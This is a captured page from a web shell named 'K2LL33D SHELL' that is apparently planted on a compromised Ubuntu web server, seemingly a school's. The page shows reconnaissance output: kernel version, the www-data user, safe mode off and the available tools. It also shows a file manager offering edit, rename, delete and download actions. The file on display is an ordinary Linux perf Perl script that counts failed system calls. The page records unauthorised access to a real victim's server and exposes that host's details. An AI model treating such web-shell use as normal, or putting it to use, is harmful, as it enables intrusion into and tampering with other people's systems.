K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / src / linux-headers-3.13.0-24 / tools / perf / scripts / perl /
server ip : 172.67.156.115

your ip : 172.69.59.184

H O M E


Filename/usr/src/linux-headers-3.13.0-24/tools/perf/scripts/perl/failed-syscalls.pl
Size1.08 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified20-Jan-2014 10:40
Last accessed27-Apr-2025 09:50
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
# failed system call counts
# (c) 2010, Tom Zanussi <[email protected]>
# Licensed under the terms of the GNU GPL License version 2
#
# Displays system-wide failed system call totals
# If a [comm] arg is specified, only syscalls called by [comm] are displayed.

use lib "$ENV{'PERF_EXEC_PATH'}/scripts/perl/Perf-Trace-Util/lib";
use lib "./Perf-Trace-Util/lib";
use Perf::Trace::Core;
use Perf::Trace::Context;
use Perf::Trace::Util;

my $for_comm = shift;

my %failed_syscalls;

sub raw_syscalls::sys_exit
{
my ($event_name, $context, $common_cpu, $common_secs, $common_nsecs,
$common_pid, $common_comm,
$id, $ret) = @_;

if ($ret < 0) {
$failed_syscalls{$common_comm}++;
}
}

sub trace_end
{
printf("\nfailed syscalls by comm:\n\n");

printf("%-20s %10s\n", "comm", "# errors");
printf("%-20s %6s %10s\n", "--------------------", "----------");

foreach my $comm (sort {$failed_syscalls{$b} <=> $failed_syscalls{$a}}
keys %failed_syscalls) {
next if ($for_comm && $comm ne $for_comm);

printf("%-20s %10s\n", $comm, $failed_syscalls{$comm});
}
}